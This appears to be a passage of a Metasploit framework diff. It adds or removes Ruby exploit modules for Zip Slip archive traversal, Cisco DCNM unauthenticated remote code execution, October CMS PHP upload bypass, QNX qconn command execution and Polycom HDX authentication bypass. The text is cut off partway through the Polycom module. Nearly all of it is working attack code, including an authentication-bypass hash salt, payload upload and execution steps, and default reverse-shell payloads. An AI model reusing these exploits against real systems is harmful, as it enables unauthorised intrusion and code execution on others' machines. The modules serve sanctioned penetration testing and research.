||||
print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
|
||||
conn = do_login(user, pass)
|
||||
if conn
|
||||
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
|
||||
handler(conn.lsock)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,112 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Generic Zip Slip Traversal Vulnerability",
|
||||
'Description' => %q{
|
||||
This is a generic arbitrary file overwrite technique, which typically results in remote
|
||||
command execution. This targets a simple yet widespread vulnerability that has been
|
||||
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
|
||||
The idea is that often archive extraction libraries have no mitigations against
|
||||
directory traversal attacks. If an application uses it, there is a risk when opening an
|
||||
archive that is maliciously modified, and result in the embedded payload to be written
|
||||
to an arbitrary location (such as a web root), and result in remote code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Snyk', # Technique discovery
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Platform' => ['linux', 'win', 'unix'],
|
||||
'Targets' =>
|
||||
[
|
||||
['Manually determined', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jun 05 2018"
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
|
||||
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
|
||||
])
|
||||
end
|
||||
|
||||
class ZipSlipArchive
|
||||
attr_reader :data
|
||||
attr_reader :fname
|
||||
attr_reader :payload
|
||||
|
||||
def initialize(n, p)
|
||||
@fname = n
|
||||
@payload = p
|
||||
@data = make
|
||||
end
|
||||
|
||||
def make
|
||||
data = ''
|
||||
path = Rex::FileUtils.normalize_unix_path(fname)
|
||||
tar = StringIO.new
|
||||
Rex::Tar::Writer.new(tar) do |t|
|
||||
t.add_file(path, 0777) do |f|
|
||||
f.write(payload)
|
||||
end
|
||||
end
|
||||
tar.seek(0)
|
||||
data = tar.read
|
||||
tar.close
|
||||
data
|
||||
end
|
||||
end
|
||||
|
||||
def make_tar(target_payload_path)
|
||||
elf = generate_payload_exe(code: payload.encoded)
|
||||
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
|
||||
archive.make
|
||||
end
|
||||
|
||||
def exploit
|
||||
target_payload_path = datastore['TARGETPAYLOADPATH']
|
||||
unless target_payload_path.match(/\.\.\//)
|
||||
print_error('Please set a traversal path')
|
||||
return
|
||||
end
|
||||
|
||||
tar = make_tar(target_payload_path)
|
||||
file_create(tar)
|
||||
print_status('When extracted, the payload is expected to extract to:')
|
||||
print_status(target_payload_path)
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
A quick test:
|
||||
|
||||
$ python
|
||||
>>> import tarfile
|
||||
>>> t = tarfile.open('test.tar')
|
||||
>>> t.extractall()
|
||||
>>> exit()
|
||||
|
||||
=end
|
||||
@@ -0,0 +1,280 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.
|
||||
An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps
|
||||
directory and achieve remote code execution as root.
|
||||
This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on
|
||||
versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct
|
||||
directory for the WAR file upload.
|
||||
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
|
||||
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
|
||||
(see References to understand why).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-1619' ], # auth bypass
|
||||
[ 'CVE', '2019-1620' ], # file upload
|
||||
[ 'CVE', '2019-1622' ], # log download
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
|
||||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'Cisco DCNM 11.1(1)', {}
|
||||
],
|
||||
[
|
||||
'Cisco DCNM 11.0(1)', {}
|
||||
],
|
||||
[
|
||||
'Cisco DCNM 10.4(2)', {}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => { 'WfsDelay' => 10 },
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 26 2019'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, 'Connect with TLS', true]),
|
||||
OptString.new('TARGETURI', [true, "Default server path", '/']),
|
||||
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),
|
||||
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
# at the moment this is the best way to detect
|
||||
# check if pmreport and fileUpload servlets return a 500 error with no params
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'token' => rand_text_alpha(5..20)
|
||||
},
|
||||
'method' => 'GET'
|
||||
)
|
||||
if res && res.code == 500
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
|
||||
'method' => 'GET',
|
||||
)
|
||||
if res && res.code == 500
|
||||
return CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
def target_select
|
||||
if target != targets[0]
|
||||
return target
|
||||
else
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
if res && res.code == 200
|
||||
if res.body.include?('version":"11.1(1)')
|
||||
print_good("#{peer} - Detected DCNM 11.1(1)")
|
||||
print_status("#{peer} - No authentication required, ready to exploit!")
|
||||
return targets[1]
|
||||
elsif res.body.include?('version":"11.0(1)')
|
||||
print_good("#{peer} - Detected DCNM 11.0(1)")
|
||||
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
|
||||
return targets[2]
|
||||
elsif res.body.include?('version":"10.4(2)')
|
||||
print_good("#{peer} - Detected DCNM 10.4(2)")
|
||||
print_status("#{peer} - No authentication required, ready to exploit!")
|
||||
return targets[3]
|
||||
else
|
||||
print_error("#{peer} - Failed to detect target version.")
|
||||
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
|
||||
print_error(res.body)
|
||||
print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
|
||||
return targets[3]
|
||||
end
|
||||
end
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
|
||||
end
|
||||
end
|
||||
|
||||
def auth_v11
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm/'),
|
||||
'method' => 'GET',
|
||||
'vars_get' =>
|
||||
{
|
||||
'userName' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
},
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
# get the JSESSIONID cookie
|
||||
if res.get_cookies
|
||||
res.get_cookies.split(';').each do |cok|
|
||||
if cok.include?("JSESSIONID")
|
||||
return cok
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def auth_v10
|
||||
# step 1: get a JSESSIONID cookie and the server Date header
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm/'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# step 2: convert the Date header and create the auth hash
|
||||
if res && res.headers['Date']
|
||||
jsession = res.get_cookies.split(';')[0]
|
||||
date = Time.httpdate(res.headers['Date'])
|
||||
server_date = date.strftime("%s").to_i * 1000
|
||||
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
|
||||
|
||||
# auth hash format:
|
||||
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
|
||||
session_id = rand(1000..50000).to_s
|
||||
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
|
||||
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
|
||||
md5_str = Base64.strict_encode64(md5)
|
||||
|
||||
# step 3: authenticate our cookie as admin
|
||||
# token format: sessionId.sysTime.md5_str.username
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
|
||||
'cookie' => jsession,
|
||||
'vars_get' =>
|
||||
{
|
||||
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
|
||||
},
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res && res.code == 500
|
||||
return jsession
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
|
||||
def get_war_path
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
tmp = Tempfile.new
|
||||
# we have to drop this into a file first
|
||||
# else we will get a Zip::GPFBit3Error if we use an InputStream
|
||||
File.binwrite(tmp, res.body)
|
||||
Zip::File.open(tmp) do |zis|
|
||||
zis.each do |entry|
|
||||
if entry.name =~ /jboss[0-9]*\.log/
|
||||
fdata = zis.read(entry)
|
||||
if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]
|
||||
tmp.close
|
||||
tmp.unlink
|
||||
return $1.strip
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
target = target_select
|
||||
|
||||
if target == targets[2]
|
||||
jsession = auth_v11
|
||||
elsif target == targets[3]
|
||||
jsession = auth_v10
|
||||
end
|
||||
|
||||
# targets[1] DCNM 11.1(1) doesn't need auth!
|
||||
if jsession.nil? && target != targets[1]
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
|
||||
elsif target != targets[1]
|
||||
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
|
||||
end
|
||||
|
||||
war_path = get_war_path
|
||||
if war_path.nil? or war_path.empty?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
|
||||
else
|
||||
print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
|
||||
end
|
||||
|
||||
# Generate our payload... and upload it
|
||||
app_base = rand_text_alphanumeric(6..16)
|
||||
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
|
||||
|
||||
fname = app_base + '.war'
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
|
||||
post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
|
||||
post_data.add_part(war_payload,
|
||||
"application/octet-stream", 'binary',
|
||||
"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
|
||||
data = post_data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'cookie' => jsession,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body[/#{fname}/]
|
||||
print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
|
||||
|
||||
sleep 10
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, app_base),
|
||||
'method' => 'GET'
|
||||
)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,157 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'October CMS Upload Protection Bypass Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an Authenticated user with permission to upload and manage media contents can
|
||||
upload various files on the server. Application prevents the user from
|
||||
uploading PHP code by checking the file extension. It uses black-list based
|
||||
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
|
||||
Definitions.php:blockedExtensions().
|
||||
This module was tested on October CMS version v1.0.412 on Ubuntu.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Anti Räis', # Discovery
|
||||
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
|
||||
'SecureLayer7.net' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB','41936'],
|
||||
['URL','https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html'],
|
||||
['CVE','2017-1000119']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => false,
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
||||
'ENCODER' => 'php/base64',
|
||||
},
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'October CMS v1.0.412', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 25 2017'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base October CMS directory path", '/']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
|
||||
])
|
||||
end
|
||||
|
||||
def uri
|
||||
return target_uri.path
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js')
|
||||
})
|
||||
rescue
|
||||
vprint_error('Unable to access the /assets/js/framework.js file')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res && res.code == 200
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
|
||||
end
|
||||
|
||||
/name="_session_key" type="hidden" value="(?<session>[A-Za-z0-9"]+)">/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil?
|
||||
|
||||
/name="_token" type="hidden" value="(?<token>[A-Za-z0-9"]+)">/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine token") if token.nil?
|
||||
vprint_good("Token for login : #{token}")
|
||||
vprint_good("Session Key for login : #{session}")
|
||||
|
||||
cookies = res.get_cookies
|
||||
vprint_status('Trying to Login ......')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'),
|
||||
'cookie' => cookies,
|
||||
'vars_post' => Hash[{
|
||||
'_session_key' => session,
|
||||
'_token' => token,
|
||||
'postback' => '1',
|
||||
'login' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}.to_a.shuffle]
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
|
||||
|
||||
# if we redirect. then we assume we have authenticated cookie.
|
||||
if res.code == 302
|
||||
print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||
return cookies
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
cookies = login
|
||||
|
||||
evil = "<?php #{payload.encoded} ?>"
|
||||
payload_name = "#{rand_text_alpha(8..13)}.php5"
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"')
|
||||
post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload
|
||||
data = post_data.to_s
|
||||
|
||||
register_files_for_cleanup(payload_name)
|
||||
vprint_status("Trying to upload malicious #{payload_name} file ....")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'backend', 'cms', 'media'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'headers' => { 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' },
|
||||
'Connection' => 'close',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||
})
|
||||
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name),
|
||||
'method' => 'GET'
|
||||
})
|
||||
end
|
||||
end
|
||||
@@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-12799'], # yes really, assigned per request
|
||||
['CVE', '2017-18357'], # not really because we bypassed this patch
|
||||
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation
|
||||
],
|
||||
|
||||
@@ -1,166 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2018, 10, 17), 'exploit/qnx/qconn/qconn_exec')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'QNX qconn Command Execution',
|
||||
'Description' => %q{
|
||||
This module uses the qconn daemon on QNX systems to gain a shell.
|
||||
|
||||
The QNX qconn daemon does not require authentication and allows
|
||||
remote users to execute arbitrary operating system commands.
|
||||
|
||||
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
|
||||
and 6.5.0 SP1 (x86).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'David Odell', # Discovery
|
||||
'Mor!p3r', # PoC
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '21520'],
|
||||
['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
|
||||
['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
|
||||
['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'PAYLOAD' => 'cmd/unix/interact'
|
||||
},
|
||||
'Platform' => 'unix', # QNX Neutrino
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Sep 4 2012',
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
vprint_status 'Sending check...'
|
||||
|
||||
connect
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.include? 'QCONN'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
sock.put "service launcher\n"
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
if res.nil? || !res.include?('OK')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10)
|
||||
sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
|
||||
|
||||
if res.nil? || !res.include?('OK')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
Rex.sleep 1
|
||||
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
if res.nil? || !res.include?(fingerprint)
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
disconnect
|
||||
|
||||
CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
connect
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
unless res.include? 'QCONN'
|
||||
fail_with Failure::UnexpectedReply, 'Unexpected reply'
|
||||
end
|
||||
|
||||
sock.put "service launcher\n"
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
if res.nil? || !res.include?('OK')
|
||||
fail_with Failure::UnexpectedReply, 'Unexpected reply'
|
||||
end
|
||||
|
||||
print_status 'Sending payload...'
|
||||
sock.put "start/flags run #{datastore['SHELL']} -\n"
|
||||
|
||||
Rex.sleep 1
|
||||
|
||||
unless negotiate_shell sock
|
||||
fail_with Failure::UnexpectedReply, 'Unexpected reply'
|
||||
end
|
||||
|
||||
print_good 'Payload sent successfully'
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
def negotiate_shell(sock)
|
||||
Timeout.timeout(15) do
|
||||
while true
|
||||
data = sock.get_once(-1, 10)
|
||||
|
||||
if !data || data.length.zero?
|
||||
return nil
|
||||
end
|
||||
|
||||
if data.include?('#') || data.include?('No controlling tty')
|
||||
return true
|
||||
end
|
||||
|
||||
Rex.sleep 0.5
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
@@ -1,246 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Polycom Command Shell Authorization Bypass',
|
||||
'Alias' => 'polycom_hdx_auth_bypass',
|
||||
'Author' =>
|
||||
[
|
||||
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
|
||||
'h00die <mike@shorebreaksecurity.com>', # submission/cleanup
|
||||
],
|
||||
'DisclosureDate' => 'Jan 18 2013',
|
||||
'Description' => %q(
|
||||
The login component of the Polycom Command Shell on Polycom HDX
|
||||
video endpoints, running software versions 3.0.5 and earlier,
|
||||
is vulnerable to an authorization bypass when simultaneous
|
||||
connections are made to the service, allowing remote network
|
||||
attackers to gain access to a sandboxed telnet prompt without
|
||||
authentication. Versions prior to 3.0.4 contain OS command
|
||||
injection in the ping command which can be used to execute
|
||||
arbitrary commands as root.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
|
||||
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
|
||||
[ 'EDB', '24494']
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Targets' => [ [ "Universal", {} ] ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 8000,
|
||||
'DisableNops' => true,
|
||||
'Compat' => { 'PayloadType' => 'cmd' }
|
||||
},
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(23),
|
||||
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
|
||||
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
|
||||
], self.class
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
|
||||
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
|
||||
Rex.sleep(1)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if !res && !res.empty?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if res =~ /Welcome to ViewStation/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Keep track of results (successful connections)
|
||||
results = []
|
||||
|
||||
# Random string for password
|
||||
password = Rex::Text.rand_text_alpha(rand(5) + 1)
|
||||
|
||||
# Threaded login checker
|
||||
max_threads = datastore['THREADS']
|
||||
cur_threads = []
|
||||
|
||||
# Try up to 100 times just to be sure
|
||||
queue = [*(1..datastore['MAX_CONNECTIONS'])]
|
||||
|
||||
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
|
||||
until queue.empty?
|
||||
while cur_threads.length < max_threads
|
||||
|
||||
# We can stop if we get a valid login
|
||||
break unless results.empty?
|
||||
|
||||
# keep track of how many attempts we've made
|
||||
item = queue.shift
|
||||
|
||||
# We can stop if we reach max tries
|
||||
break unless item
|
||||
|
||||
t = Thread.new(item) do |count|
|
||||
sock = connect
|
||||
sock.put(password + "\n")
|
||||
res = sock.get_once
|
||||
|
||||
until res.empty?
|
||||
break unless results.empty?
|
||||
|
||||
# Post-login Polycom banner means success
|
||||
if res =~ /Polycom/
|
||||
results << sock
|
||||
break
|
||||
# bind error indicates bypass is working
|
||||
